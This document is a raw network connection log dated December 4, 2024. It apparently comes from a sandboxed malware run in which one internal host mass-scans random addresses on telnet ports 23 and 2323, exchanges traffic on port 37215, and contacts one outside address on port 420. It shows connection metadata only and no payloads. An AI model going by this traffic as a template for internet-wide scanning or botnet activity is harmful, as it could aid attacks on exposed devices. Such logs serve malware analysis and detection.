Dec 4, 2024 20:34:24.741787910 CET	60787	23	192.168.2.14	202.250.28.242
Dec 4, 2024 20:34:24.741789103 CET	60787	23	192.168.2.14	200.10.201.91
Dec 4, 2024 20:34:24.741791964 CET	60787	23	192.168.2.14	114.188.27.52
Dec 4, 2024 20:34:24.741797924 CET	60787	23	192.168.2.14	223.143.33.230
Dec 4, 2024 20:34:24.741805077 CET	60787	23	192.168.2.14	114.202.83.147
Dec 4, 2024 20:34:24.741805077 CET	60787	23	192.168.2.14	101.99.146.125
Dec 4, 2024 20:34:24.741818905 CET	60787	23	192.168.2.14	76.204.60.26
Dec 4, 2024 20:34:24.741822004 CET	60787	23	192.168.2.14	117.20.180.62
Dec 4, 2024 20:34:24.741823912 CET	60787	23	192.168.2.14	190.0.165.238
Dec 4, 2024 20:34:24.741838932 CET	60787	2323	192.168.2.14	84.3.185.5
Dec 4, 2024 20:34:24.741842031 CET	60787	23	192.168.2.14	68.111.81.143
Dec 4, 2024 20:34:24.741846085 CET	60787	23	192.168.2.14	27.177.193.32
Dec 4, 2024 20:34:24.741848946 CET	60787	23	192.168.2.14	158.89.87.178
Dec 4, 2024 20:34:24.741861105 CET	60787	23	192.168.2.14	45.21.71.38
Dec 4, 2024 20:34:24.741868973 CET	60787	23	192.168.2.14	81.240.129.89
Dec 4, 2024 20:34:24.741871119 CET	60787	23	192.168.2.14	36.231.152.94
Dec 4, 2024 20:34:24.741872072 CET	60787	23	192.168.2.14	148.189.118.146
Dec 4, 2024 20:34:24.741882086 CET	60787	23	192.168.2.14	27.58.77.98
Dec 4, 2024 20:34:24.741883039 CET	60787	23	192.168.2.14	58.170.89.169
Dec 4, 2024 20:34:24.741892099 CET	60787	2323	192.168.2.14	110.66.173.220
Dec 4, 2024 20:34:24.741892099 CET	60787	23	192.168.2.14	115.18.96.233
Dec 4, 2024 20:34:24.741906881 CET	60787	23	192.168.2.14	126.61.18.86
Dec 4, 2024 20:34:24.741909981 CET	60787	23	192.168.2.14	8.94.3.89
Dec 4, 2024 20:34:24.741911888 CET	60787	23	192.168.2.14	57.56.102.81
Dec 4, 2024 20:34:24.741916895 CET	60787	23	192.168.2.14	149.99.170.13
Dec 4, 2024 20:34:24.741929054 CET	60787	23	192.168.2.14	151.148.106.135
Dec 4, 2024 20:34:24.741929054 CET	60787	23	192.168.2.14	171.236.30.104
Dec 4, 2024 20:34:24.741930962 CET	60787	2323	192.168.2.14	201.61.124.73
Dec 4, 2024 20:34:24.741931915 CET	60787	23	192.168.2.14	82.183.243.117
Dec 4, 2024 20:34:24.741931915 CET	60787	23	192.168.2.14	67.111.198.172
Dec 4, 2024 20:34:24.741940975 CET	60787	23	192.168.2.14	119.251.158.113
Dec 4, 2024 20:34:24.741944075 CET	60787	23	192.168.2.14	108.11.143.146
Dec 4, 2024 20:34:24.741945028 CET	60787	23	192.168.2.14	116.118.46.237
Dec 4, 2024 20:34:24.741945028 CET	60787	23	192.168.2.14	219.101.179.170
Dec 4, 2024 20:34:24.741964102 CET	60787	23	192.168.2.14	185.51.93.175
Dec 4, 2024 20:34:24.741964102 CET	60787	23	192.168.2.14	86.23.184.255
Dec 4, 2024 20:34:24.741966009 CET	60787	23	192.168.2.14	209.191.180.52
Dec 4, 2024 20:34:24.741986036 CET	60787	23	192.168.2.14	89.22.194.119
Dec 4, 2024 20:34:24.741986036 CET	60787	23	192.168.2.14	91.89.29.76
Dec 4, 2024 20:34:24.741986036 CET	60787	23	192.168.2.14	165.115.103.145
Dec 4, 2024 20:34:24.741987944 CET	60787	2323	192.168.2.14	207.246.48.88
Dec 4, 2024 20:34:24.741987944 CET	60787	23	192.168.2.14	204.158.225.75
Dec 4, 2024 20:34:24.741992950 CET	60787	23	192.168.2.14	172.95.97.189
Dec 4, 2024 20:34:24.742005110 CET	60787	23	192.168.2.14	122.151.0.106
Dec 4, 2024 20:34:24.742010117 CET	60787	23	192.168.2.14	185.44.35.170
Dec 4, 2024 20:34:24.742010117 CET	60787	23	192.168.2.14	59.250.112.69
Dec 4, 2024 20:34:24.742012978 CET	60787	23	192.168.2.14	75.214.127.177
Dec 4, 2024 20:34:24.742018938 CET	60787	23	192.168.2.14	159.8.112.175
Dec 4, 2024 20:34:24.742023945 CET	60787	23	192.168.2.14	43.146.75.112
Dec 4, 2024 20:34:24.742033958 CET	60787	23	192.168.2.14	67.134.95.66
Dec 4, 2024 20:34:24.742033958 CET	60787	2323	192.168.2.14	38.213.157.174
Dec 4, 2024 20:34:24.742038012 CET	60787	23	192.168.2.14	24.193.204.155
Dec 4, 2024 20:34:24.742048979 CET	60787	23	192.168.2.14	76.150.235.120
Dec 4, 2024 20:34:24.742057085 CET	60787	23	192.168.2.14	181.138.93.128
Dec 4, 2024 20:34:24.742067099 CET	60787	23	192.168.2.14	65.7.57.7
Dec 4, 2024 20:34:24.742067099 CET	60787	23	192.168.2.14	86.11.210.41
Dec 4, 2024 20:34:24.742080927 CET	60787	23	192.168.2.14	184.200.58.249
Dec 4, 2024 20:34:24.742082119 CET	60787	23	192.168.2.14	151.122.189.194
Dec 4, 2024 20:34:24.742082119 CET	60787	2323	192.168.2.14	218.192.232.102
Dec 4, 2024 20:34:24.742082119 CET	60787	23	192.168.2.14	156.118.54.86
Dec 4, 2024 20:34:24.742095947 CET	60787	23	192.168.2.14	103.213.103.198
Dec 4, 2024 20:34:24.742096901 CET	60787	23	192.168.2.14	48.244.78.13
Dec 4, 2024 20:34:24.742100000 CET	60787	23	192.168.2.14	108.25.29.74
Dec 4, 2024 20:34:24.742100954 CET	60787	23	192.168.2.14	40.217.28.59
Dec 4, 2024 20:34:24.742110968 CET	60787	23	192.168.2.14	89.41.233.186
Dec 4, 2024 20:34:24.742120981 CET	60787	23	192.168.2.14	62.56.26.201
Dec 4, 2024 20:34:24.742131948 CET	60787	23	192.168.2.14	102.22.231.195
Dec 4, 2024 20:34:24.742131948 CET	60787	23	192.168.2.14	135.241.142.103
Dec 4, 2024 20:34:24.742136955 CET	60787	23	192.168.2.14	111.44.90.156
Dec 4, 2024 20:34:24.742136955 CET	60787	2323	192.168.2.14	219.96.175.231
Dec 4, 2024 20:34:24.742139101 CET	60787	23	192.168.2.14	120.64.212.152
Dec 4, 2024 20:34:24.742139101 CET	60787	23	192.168.2.14	126.206.103.250
Dec 4, 2024 20:34:24.742139101 CET	60787	23	192.168.2.14	44.224.205.72
Dec 4, 2024 20:34:24.742147923 CET	60787	23	192.168.2.14	171.167.137.24
Dec 4, 2024 20:34:24.742157936 CET	60787	23	192.168.2.14	31.134.194.93
Dec 4, 2024 20:34:24.742158890 CET	60787	23	192.168.2.14	8.84.241.105
Dec 4, 2024 20:34:24.742161036 CET	60787	23	192.168.2.14	108.173.120.20
Dec 4, 2024 20:34:24.742168903 CET	60787	23	192.168.2.14	203.193.160.75
Dec 4, 2024 20:34:24.742176056 CET	60787	23	192.168.2.14	199.3.176.222
Dec 4, 2024 20:34:24.742182016 CET	60787	2323	192.168.2.14	36.26.12.104
Dec 4, 2024 20:34:24.742197037 CET	60787	23	192.168.2.14	108.6.227.60
Dec 4, 2024 20:34:24.742197037 CET	60787	23	192.168.2.14	41.13.91.78
Dec 4, 2024 20:34:24.742197990 CET	60787	23	192.168.2.14	128.240.118.104
Dec 4, 2024 20:34:24.742198944 CET	60787	23	192.168.2.14	136.254.80.230
Dec 4, 2024 20:34:24.742198944 CET	60787	23	192.168.2.14	8.97.210.207
Dec 4, 2024 20:34:24.742208958 CET	60787	23	192.168.2.14	220.26.168.7
Dec 4, 2024 20:34:24.742208958 CET	60787	23	192.168.2.14	85.81.176.176
Dec 4, 2024 20:34:24.742217064 CET	60787	23	192.168.2.14	121.34.91.92
Dec 4, 2024 20:34:24.742228031 CET	60787	23	192.168.2.14	178.35.166.192
Dec 4, 2024 20:34:24.743669987 CET	52294	420	192.168.2.14	179.43.154.140
Dec 4, 2024 20:34:24.857546091 CET	37215	60275	156.0.70.59	192.168.2.14
Dec 4, 2024 20:34:24.857558012 CET	37215	60275	41.37.164.59	192.168.2.14
Dec 4, 2024 20:34:24.857563972 CET	37215	60275	197.153.67.226	192.168.2.14
Dec 4, 2024 20:34:24.857568979 CET	37215	60275	197.108.139.233	192.168.2.14
Dec 4, 2024 20:34:24.857575893 CET	37215	60275	41.250.8.226	192.168.2.14
Dec 4, 2024 20:34:24.857588053 CET	37215	60275	41.129.249.37	192.168.2.14
Dec 4, 2024 20:34:24.857628107 CET	37215	60275	41.33.14.34	192.168.2.14
Dec 4, 2024 20:34:24.857640028 CET	37215	60275	197.57.139.70	192.168.2.14
Dec 4, 2024 20:34:24.857651949 CET	37215	60275	197.180.84.103	192.168.2.14
Dec 4, 2024 20:34:24.857666016 CET	37215	60275	41.231.64.214	192.168.2.14
Dec 4, 2024 20:34:24.857676029 CET	37215	60275	197.115.73.65	192.168.2.14
Dec 4, 2024 20:34:24.857677937 CET	60275	37215	192.168.2.14	197.153.67.226
Dec 4, 2024 20:34:24.857686996 CET	37215	60275	156.40.218.232	192.168.2.14
Dec 4, 2024 20:34:24.857705116 CET	60275	37215	192.168.2.14	41.37.164.59
Dec 4, 2024 20:34:24.857714891 CET	37215	60275	197.43.220.124	192.168.2.14
Dec 4, 2024 20:34:24.857724905 CET	60275	37215	192.168.2.14	41.231.64.214
Dec 4, 2024 20:34:24.857727051 CET	60275	37215	192.168.2.14	41.129.249.37
Dec 4, 2024 20:34:24.857727051 CET	60275	37215	192.168.2.14	197.57.139.70
Dec 4, 2024 20:34:24.857728004 CET	60275	37215	192.168.2.14	156.0.70.59
Dec 4, 2024 20:34:24.857728004 CET	60275	37215	192.168.2.14	41.250.8.226
Dec 4, 2024 20:34:24.857728004 CET	60275	37215	192.168.2.14	197.180.84.103
Dec 4, 2024 20:34:24.857728004 CET	60275	37215	192.168.2.14	41.33.14.34
Dec 4, 2024 20:34:24.857742071 CET	60275	37215	192.168.2.14	197.115.73.65
Dec 4, 2024 20:34:24.857742071 CET	37215	60275	156.174.196.3	192.168.2.14
Dec 4, 2024 20:34:24.857743025 CET	60275	37215	192.168.2.14	197.108.139.233
Dec 4, 2024 20:34:24.857743025 CET	60275	37215	192.168.2.14	156.40.218.232
Dec 4, 2024 20:34:24.857753038 CET	60275	37215	192.168.2.14	197.43.220.124
Dec 4, 2024 20:34:24.857754946 CET	37215	60275	197.130.193.94	192.168.2.14
Dec 4, 2024 20:34:24.857767105 CET	37215	60275	197.10.15.212	192.168.2.14
Dec 4, 2024 20:34:24.857791901 CET	60275	37215	192.168.2.14	156.174.196.3
Dec 4, 2024 20:34:24.857791901 CET	60275	37215	192.168.2.14	197.130.193.94
Dec 4, 2024 20:34:24.857805967 CET	60275	37215	192.168.2.14	197.10.15.212
Dec 4, 2024 20:34:24.857829094 CET	37215	60275	156.85.130.57	192.168.2.14
Dec 4, 2024 20:34:24.857840061 CET	37215	60275	156.195.249.207	192.168.2.14
Dec 4, 2024 20:34:24.857851982 CET	37215	60275	41.160.181.219	192.168.2.14
Dec 4, 2024 20:34:24.857862949 CET	37215	60275	197.14.164.47	192.168.2.14
Dec 4, 2024 20:34:24.857871056 CET	60275	37215	192.168.2.14	156.85.130.57
Dec 4, 2024 20:34:24.857872963 CET	37215	60275	197.162.48.91	192.168.2.14
Dec 4, 2024 20:34:24.857877970 CET	60275	37215	192.168.2.14	156.195.249.207
Dec 4, 2024 20:34:24.857884884 CET	37215	60275	41.63.47.107	192.168.2.14
Dec 4, 2024 20:34:24.857891083 CET	60275	37215	192.168.2.14	41.160.181.219
Dec 4, 2024 20:34:24.857896090 CET	37215	60275	156.59.130.199	192.168.2.14
Dec 4, 2024 20:34:24.857904911 CET	60275	37215	192.168.2.14	197.14.164.47
Dec 4, 2024 20:34:24.857907057 CET	37215	60275	41.136.42.214	192.168.2.14
Dec 4, 2024 20:34:24.857913971 CET	60275	37215	192.168.2.14	197.162.48.91
Dec 4, 2024 20:34:24.857916117 CET	60275	37215	192.168.2.14	41.63.47.107
Dec 4, 2024 20:34:24.857916117 CET	60275	37215	192.168.2.14	156.59.130.199
Dec 4, 2024 20:34:24.857918978 CET	37215	60275	156.93.205.83	192.168.2.14
Dec 4, 2024 20:34:24.857930899 CET	37215	60275	41.27.125.125	192.168.2.14
Dec 4, 2024 20:34:24.857939959 CET	60275	37215	192.168.2.14	41.136.42.214
Dec 4, 2024 20:34:24.857939959 CET	37215	60275	156.69.73.21	192.168.2.14
Dec 4, 2024 20:34:24.857954025 CET	37215	60275	197.73.225.8	192.168.2.14
Dec 4, 2024 20:34:24.857956886 CET	60275	37215	192.168.2.14	156.93.205.83
Dec 4, 2024 20:34:24.857956886 CET	60275	37215	192.168.2.14	41.27.125.125
Dec 4, 2024 20:34:24.857970953 CET	37215	60275	41.75.108.78	192.168.2.14
Dec 4, 2024 20:34:24.857983112 CET	60275	37215	192.168.2.14	156.69.73.21
Dec 4, 2024 20:34:24.857991934 CET	60275	37215	192.168.2.14	197.73.225.8
Dec 4, 2024 20:34:24.857992887 CET	37215	60275	197.139.224.14	192.168.2.14
Dec 4, 2024 20:34:24.858006001 CET	37215	60275	156.252.69.210	192.168.2.14
Dec 4, 2024 20:34:24.858016014 CET	60275	37215	192.168.2.14	41.75.108.78
Dec 4, 2024 20:34:24.858016014 CET	37215	60275	197.61.171.219	192.168.2.14
Dec 4, 2024 20:34:24.858026981 CET	60275	37215	192.168.2.14	197.139.224.14
Dec 4, 2024 20:34:24.858036041 CET	37215	60275	156.54.3.253	192.168.2.14
Dec 4, 2024 20:34:24.858041048 CET	60275	37215	192.168.2.14	156.252.69.210
Dec 4, 2024 20:34:24.858041048 CET	60275	37215	192.168.2.14	197.61.171.219
Dec 4, 2024 20:34:24.858047009 CET	37215	60275	41.187.21.136	192.168.2.14
Dec 4, 2024 20:34:24.858058929 CET	37215	60275	156.131.104.76	192.168.2.14
Dec 4, 2024 20:34:24.858068943 CET	37215	60275	41.214.176.71	192.168.2.14
Dec 4, 2024 20:34:24.858076096 CET	60275	37215	192.168.2.14	41.187.21.136
Dec 4, 2024 20:34:24.858077049 CET	60275	37215	192.168.2.14	156.54.3.253
Dec 4, 2024 20:34:24.858078957 CET	37215	60275	197.137.0.191	192.168.2.14
Dec 4, 2024 20:34:24.858102083 CET	60275	37215	192.168.2.14	156.131.104.76
Dec 4, 2024 20:34:24.858110905 CET	60275	37215	192.168.2.14	197.137.0.191
Dec 4, 2024 20:34:24.858112097 CET	60275	37215	192.168.2.14	41.214.176.71
Dec 4, 2024 20:34:24.858721972 CET	37215	60275	156.10.211.53	192.168.2.14
Dec 4, 2024 20:34:24.858732939 CET	37215	60275	156.148.183.228	192.168.2.14
Dec 4, 2024 20:34:24.858752012 CET	37215	60275	197.206.29.101	192.168.2.14
Dec 4, 2024 20:34:24.858762026 CET	37215	60275	156.79.112.182	192.168.2.14
Dec 4, 2024 20:34:24.858771086 CET	60275	37215	192.168.2.14	156.10.211.53
Dec 4, 2024 20:34:24.858771086 CET	60275	37215	192.168.2.14	156.148.183.228
Dec 4, 2024 20:34:24.858782053 CET	37215	60275	41.218.220.2	192.168.2.14
Dec 4, 2024 20:34:24.858782053 CET	60275	37215	192.168.2.14	197.206.29.101
Dec 4, 2024 20:34:24.858797073 CET	37215	60275	41.117.58.167	192.168.2.14
Dec 4, 2024 20:34:24.858808041 CET	37215	60275	156.139.43.180	192.168.2.14
Dec 4, 2024 20:34:24.858829021 CET	60275	37215	192.168.2.14	41.117.58.167
Dec 4, 2024 20:34:24.858834028 CET	60275	37215	192.168.2.14	41.218.220.2
Dec 4, 2024 20:34:24.858838081 CET	60275	37215	192.168.2.14	156.79.112.182
Dec 4, 2024 20:34:24.858849049 CET	37215	60275	156.226.153.126	192.168.2.14
Dec 4, 2024 20:34:24.858870029 CET	37215	60275	156.25.248.194	192.168.2.14
Dec 4, 2024 20:34:24.858876944 CET	60275	37215	192.168.2.14	156.139.43.180
Dec 4, 2024 20:34:24.858890057 CET	37215	60275	156.128.33.171	192.168.2.14
Dec 4, 2024 20:34:24.858896017 CET	60275	37215	192.168.2.14	156.226.153.126
Dec 4, 2024 20:34:24.858905077 CET	60275	37215	192.168.2.14	156.25.248.194
Dec 4, 2024 20:34:24.858906031 CET	37215	60275	156.198.170.71	192.168.2.14
Dec 4, 2024 20:34:24.858921051 CET	37215	60275	41.105.198.238	192.168.2.14
Dec 4, 2024 20:34:24.858931065 CET	60275	37215	192.168.2.14	156.128.33.171
Dec 4, 2024 20:34:24.858944893 CET	60275	37215	192.168.2.14	156.198.170.71
Dec 4, 2024 20:34:24.858949900 CET	37215	60275	41.30.199.232	192.168.2.14
Dec 4, 2024 20:34:24.858952045 CET	60275	37215	192.168.2.14	41.105.198.238
Dec 4, 2024 20:34:24.858961105 CET	37215	60275	41.232.105.157	192.168.2.14
Dec 4, 2024 20:34:24.858971119 CET	37215	60275	41.127.37.120	192.168.2.14
Dec 4, 2024 20:34:24.858983040 CET	37215	60275	41.104.201.84	192.168.2.14
Dec 4, 2024 20:34:24.858983040 CET	60275	37215	192.168.2.14	41.30.199.232
Dec 4, 2024 20:34:24.858988047 CET	60275	37215	192.168.2.14	41.232.105.157
Dec 4, 2024 20:34:24.859000921 CET	37215	60275	41.205.120.6	192.168.2.14
Dec 4, 2024 20:34:24.859010935 CET	37215	60275	41.219.89.104	192.168.2.14
Dec 4, 2024 20:34:24.859018087 CET	60275	37215	192.168.2.14	41.127.37.120
Dec 4, 2024 20:34:24.859019041 CET	37215	60275	197.236.151.41	192.168.2.14
Dec 4, 2024 20:34:24.859019041 CET	60275	37215	192.168.2.14	41.104.201.84
Dec 4, 2024 20:34:24.859040022 CET	60275	37215	192.168.2.14	41.205.120.6
Dec 4, 2024 20:34:24.859040022 CET	60275	37215	192.168.2.14	41.219.89.104
Dec 4, 2024 20:34:24.859050989 CET	60275	37215	192.168.2.14	197.236.151.41
Dec 4, 2024 20:34:24.859154940 CET	37215	60275	41.9.128.115	192.168.2.14
Dec 4, 2024 20:34:24.859164953 CET	37215	60275	156.132.124.144	192.168.2.14
Dec 4, 2024 20:34:24.859173059 CET	37215	60275	197.244.68.203	192.168.2.14
Dec 4, 2024 20:34:24.859183073 CET	37215	60275	156.54.222.34	192.168.2.14
Dec 4, 2024 20:34:24.859189987 CET	37215	60275	197.160.70.131	192.168.2.14
Dec 4, 2024 20:34:24.859190941 CET	60275	37215	192.168.2.14	41.9.128.115
Dec 4, 2024 20:34:24.859194994 CET	60275	37215	192.168.2.14	156.132.124.144
Dec 4, 2024 20:34:24.859200954 CET	37215	60275	41.218.162.142	192.168.2.14
Dec 4, 2024 20:34:24.859210014 CET	37215	60275	41.49.237.112	192.168.2.14
Dec 4, 2024 20:34:24.859208107 CET	60275	37215	192.168.2.14	156.54.222.34
Dec 4, 2024 20:34:24.859213114 CET	60275	37215	192.168.2.14	197.244.68.203
Dec 4, 2024 20:34:24.859220028 CET	37215	60275	197.250.119.153	192.168.2.14
Dec 4, 2024 20:34:24.859230042 CET	60275	37215	192.168.2.14	197.160.70.131
Dec 4, 2024 20:34:24.859237909 CET	37215	60275	41.145.54.106	192.168.2.14
Dec 4, 2024 20:34:24.859244108 CET	60275	37215	192.168.2.14	41.218.162.142
Dec 4, 2024 20:34:24.859250069 CET	60275	37215	192.168.2.14	41.49.237.112
Dec 4, 2024 20:34:24.859256983 CET	60275	37215	192.168.2.14	197.250.119.153
Dec 4, 2024 20:34:24.859272957 CET	60275	37215	192.168.2.14	41.145.54.106
Dec 4, 2024 20:34:24.859982967 CET	37215	60275	41.243.247.221	192.168.2.14
Dec 4, 2024 20:34:24.860001087 CET	37215	60275	197.202.121.192	192.168.2.14
Dec 4, 2024 20:34:24.860022068 CET	60275	37215	192.168.2.14	41.243.247.221
Dec 4, 2024 20:34:24.860033035 CET	60275	37215	192.168.2.14	197.202.121.192
Dec 4, 2024 20:34:24.860052109 CET	37215	60275	156.21.248.217	192.168.2.14
Dec 4, 2024 20:34:24.860061884 CET	37215	60275	197.222.226.163	192.168.2.14
Dec 4, 2024 20:34:24.860071898 CET	37215	60275	156.62.136.54	192.168.2.14
Dec 4, 2024 20:34:24.860081911 CET	37215	60275	41.13.136.229	192.168.2.14
Dec 4, 2024 20:34:24.860090017 CET	60275	37215	192.168.2.14	156.21.248.217
Dec 4, 2024 20:34:24.860097885 CET	60275	37215	192.168.2.14	197.222.226.163
Dec 4, 2024 20:34:24.860097885 CET	60275	37215	192.168.2.14	156.62.136.54
Dec 4, 2024 20:34:24.860122919 CET	60275	37215	192.168.2.14	41.13.136.229
Dec 4, 2024 20:34:24.860189915 CET	37215	60275	197.235.141.127	192.168.2.14
Dec 4, 2024 20:34:24.860198975 CET	37215	60275	41.59.78.245	192.168.2.14
Dec 4, 2024 20:34:24.860207081 CET	37215	60275	156.239.166.151	192.168.2.14
Dec 4, 2024 20:34:24.860223055 CET	60275	37215	192.168.2.14	197.235.141.127
Dec 4, 2024 20:34:24.860234976 CET	60275	37215	192.168.2.14	156.239.166.151
Dec 4, 2024 20:34:24.860234976 CET	60275	37215	192.168.2.14	41.59.78.245
Dec 4, 2024 20:34:24.860249996 CET	37215	60275	197.225.155.207	192.168.2.14
Dec 4, 2024 20:34:24.860260010 CET	37215	60275	156.228.217.129	192.168.2.14
Dec 4, 2024 20:34:24.860285044 CET	60275	37215	192.168.2.14	197.225.155.207
Dec 4, 2024 20:34:24.860285044 CET	60275	37215	192.168.2.14	156.228.217.129
Dec 4, 2024 20:34:24.860308886 CET	37215	60275	197.189.145.36	192.168.2.14
Dec 4, 2024 20:34:24.860347986 CET	60275	37215	192.168.2.14	197.189.145.36
Dec 4, 2024 20:34:24.860371113 CET	37215	60275	41.113.32.188	192.168.2.14
Dec 4, 2024 20:34:24.860404015 CET	37215	60275	156.170.210.184	192.168.2.14
Dec 4, 2024 20:34:24.860413074 CET	60275	37215	192.168.2.14	41.113.32.188
Dec 4, 2024 20:34:24.860435009 CET	37215	60275	197.97.46.192	192.168.2.14
Dec 4, 2024 20:34:24.860443115 CET	60275	37215	192.168.2.14	156.170.210.184
Dec 4, 2024 20:34:24.860446930 CET	37215	60275	197.99.148.16	192.168.2.14
Dec 4, 2024 20:34:24.860475063 CET	60275	37215	192.168.2.14	197.97.46.192
Dec 4, 2024 20:34:24.860475063 CET	60275	37215	192.168.2.14	197.99.148.16
Dec 4, 2024 20:34:24.860501051 CET	37215	60275	197.147.54.50	192.168.2.14
Dec 4, 2024 20:34:24.860513926 CET	37215	60275	156.240.49.141	192.168.2.14
Dec 4, 2024 20:34:24.860526085 CET	37215	60275	156.7.101.101	192.168.2.14
Dec 4, 2024 20:34:24.860536098 CET	37215	60275	41.14.189.85	192.168.2.14
Dec 4, 2024 20:34:24.860546112 CET	37215	60275	197.195.96.132	192.168.2.14
Dec 4, 2024 20:34:24.860549927 CET	60275	37215	192.168.2.14	197.147.54.50
Dec 4, 2024 20:34:24.860551119 CET	60275	37215	192.168.2.14	156.240.49.141
Dec 4, 2024 20:34:24.860559940 CET	60275	37215	192.168.2.14	156.7.101.101
Dec 4, 2024 20:34:24.860574961 CET	60275	37215	192.168.2.14	41.14.189.85
Dec 4, 2024 20:34:24.860574961 CET	60275	37215	192.168.2.14	197.195.96.132
Dec 4, 2024 20:34:24.860577106 CET	37215	60275	197.150.92.25	192.168.2.14
Dec 4, 2024 20:34:24.860588074 CET	37215	60275	156.129.219.254	192.168.2.14
Dec 4, 2024 20:34:24.860616922 CET	60275	37215	192.168.2.14	156.129.219.254
Dec 4, 2024 20:34:24.860619068 CET	60275	37215	192.168.2.14	197.150.92.25
Dec 4, 2024 20:34:24.860724926 CET	37215	60275	197.178.34.67	192.168.2.14
Dec 4, 2024 20:34:24.860743046 CET	37215	60275	41.61.159.242	192.168.2.14
Dec 4, 2024 20:34:24.860754013 CET	37215	60275	156.45.37.87	192.168.2.14
Dec 4, 2024 20:34:24.860763073 CET	37215	60275	156.173.94.125	192.168.2.14
Dec 4, 2024 20:34:24.860766888 CET	60275	37215	192.168.2.14	197.178.34.67
Dec 4, 2024 20:34:24.860780001 CET	60275	37215	192.168.2.14	41.61.159.242
Dec 4, 2024 20:34:24.860780954 CET	60275	37215	192.168.2.14	156.45.37.87
Dec 4, 2024 20:34:24.860788107 CET	60275	37215	192.168.2.14	156.173.94.125
Dec 4, 2024 20:34:24.860799074 CET	37215	60275	41.65.64.174	192.168.2.14
Dec 4, 2024 20:34:24.860840082 CET	60275	37215	192.168.2.14	41.65.64.174
Dec 4, 2024 20:34:24.861777067 CET	37215	60275	156.199.126.126	192.168.2.14
Dec 4, 2024 20:34:24.861795902 CET	37215	60275	197.115.228.84	192.168.2.14
Dec 4, 2024 20:34:24.861805916 CET	37215	60275	41.46.235.19	192.168.2.14
Dec 4, 2024 20:34:24.861819983 CET	60275	37215	192.168.2.14	156.199.126.126
Dec 4, 2024 20:34:24.861840963 CET	60275	37215	192.168.2.14	197.115.228.84
Dec 4, 2024 20:34:24.861844063 CET	37215	60275	41.160.151.57	192.168.2.14
Dec 4, 2024 20:34:24.861848116 CET	60275	37215	192.168.2.14	41.46.235.19
Dec 4, 2024 20:34:24.861855984 CET	37215	60275	156.224.13.162	192.168.2.14
Dec 4, 2024 20:34:24.861877918 CET	37215	60275	41.153.69.17	192.168.2.14
Dec 4, 2024 20:34:24.861880064 CET	60275	37215	192.168.2.14	41.160.151.57
Dec 4, 2024 20:34:24.861887932 CET	60275	37215	192.168.2.14	156.224.13.162
Dec 4, 2024 20:34:24.861905098 CET	37215	60275	197.47.95.150	192.168.2.14
Dec 4, 2024 20:34:24.861906052 CET	60275	37215	192.168.2.14	41.153.69.17
Dec 4, 2024 20:34:24.861938953 CET	37215	60275	156.59.143.58	192.168.2.14
Dec 4, 2024 20:34:24.861942053 CET	60275	37215	192.168.2.14	197.47.95.150
Dec 4, 2024 20:34:24.861949921 CET	37215	60275	156.202.172.235	192.168.2.14
Dec 4, 2024 20:34:24.861977100 CET	60275	37215	192.168.2.14	156.59.143.58
Dec 4, 2024 20:34:24.861978054 CET	60275	37215	192.168.2.14	156.202.172.235
Dec 4, 2024 20:34:24.862174988 CET	37215	60275	41.12.2.120	192.168.2.14
Dec 4, 2024 20:34:24.862185001 CET	37215	60275	197.117.66.202	192.168.2.14
Dec 4, 2024 20:34:24.862194061 CET	37215	60275	197.168.146.216	192.168.2.14
Dec 4, 2024 20:34:24.862204075 CET	37215	60275	197.227.255.161	192.168.2.14
Dec 4, 2024 20:34:24.862211943 CET	37215	60275	41.103.173.224	192.168.2.14
Dec 4, 2024 20:34:24.862214088 CET	60275	37215	192.168.2.14	41.12.2.120
Dec 4, 2024 20:34:24.862216949 CET	60275	37215	192.168.2.14	197.117.66.202
Dec 4, 2024 20:34:24.862216949 CET	60275	37215	192.168.2.14	197.168.146.216
Dec 4, 2024 20:34:24.862225056 CET	37215	60275	197.218.250.252	192.168.2.14
Dec 4, 2024 20:34:24.862231016 CET	60275	37215	192.168.2.14	197.227.255.161
Dec 4, 2024 20:34:24.862242937 CET	37215	60275	156.116.4.147	192.168.2.14
Dec 4, 2024 20:34:24.862248898 CET	60275	37215	192.168.2.14	41.103.173.224
Dec 4, 2024 20:34:24.862257957 CET	37215	60275	156.6.110.20	192.168.2.14
Dec 4, 2024 20:34:24.862263918 CET	60275	37215	192.168.2.14	197.218.250.252
Dec 4, 2024 20:34:24.862266064 CET	37215	60275	41.105.199.90	192.168.2.14
Dec 4, 2024 20:34:24.862277031 CET	37215	60275	41.155.18.123	192.168.2.14
Dec 4, 2024 20:34:24.862284899 CET	60275	37215	192.168.2.14	156.116.4.147
Dec 4, 2024 20:34:24.862287045 CET	37215	60275	156.171.148.67	192.168.2.14
Dec 4, 2024 20:34:24.862288952 CET	60275	37215	192.168.2.14	156.6.110.20
Dec 4, 2024 20:34:24.862291098 CET	60275	37215	192.168.2.14	41.105.199.90
Dec 4, 2024 20:34:24.862297058 CET	37215	60275	41.247.204.8	192.168.2.14
Dec 4, 2024 20:34:24.862306118 CET	37215	60275	156.174.126.130	192.168.2.14
Dec 4, 2024 20:34:24.862313986 CET	60275	37215	192.168.2.14	41.155.18.123
Dec 4, 2024 20:34:24.862315893 CET	37215	60275	41.84.177.104	192.168.2.14
Dec 4, 2024 20:34:24.862315893 CET	60275	37215	192.168.2.14	156.171.148.67
Dec 4, 2024 20:34:24.862325907 CET	37215	60275	156.48.57.106	192.168.2.14
Dec 4, 2024 20:34:24.862330914 CET	60275	37215	192.168.2.14	41.247.204.8
Dec 4, 2024 20:34:24.862330914 CET	60275	37215	192.168.2.14	156.174.126.130
Dec 4, 2024 20:34:24.862335920 CET	37215	60275	41.66.160.209	192.168.2.14
Dec 4, 2024 20:34:24.862344980 CET	37215	60275	156.28.242.205	192.168.2.14
Dec 4, 2024 20:34:24.862349987 CET	60275	37215	192.168.2.14	41.84.177.104
Dec 4, 2024 20:34:24.862355947 CET	37215	60275	197.90.139.40	192.168.2.14
Dec 4, 2024 20:34:24.862364054 CET	60275	37215	192.168.2.14	41.66.160.209
Dec 4, 2024 20:34:24.862364054 CET	60275	37215	192.168.2.14	156.48.57.106
Dec 4, 2024 20:34:24.862365961 CET	37215	60275	156.220.179.226	192.168.2.14
Dec 4, 2024 20:34:24.862376928 CET	60275	37215	192.168.2.14	156.28.242.205
Dec 4, 2024 20:34:24.862394094 CET	60275	37215	192.168.2.14	197.90.139.40
Dec 4, 2024 20:34:24.862405062 CET	60275	37215	192.168.2.14	156.220.179.226
Dec 4, 2024 20:34:24.862848997 CET	37215	60275	197.218.184.224	192.168.2.14
Dec 4, 2024 20:34:24.862867117 CET	37215	60275	156.52.44.221	192.168.2.14
Dec 4, 2024 20:34:24.862889051 CET	60275	37215	192.168.2.14	197.218.184.224
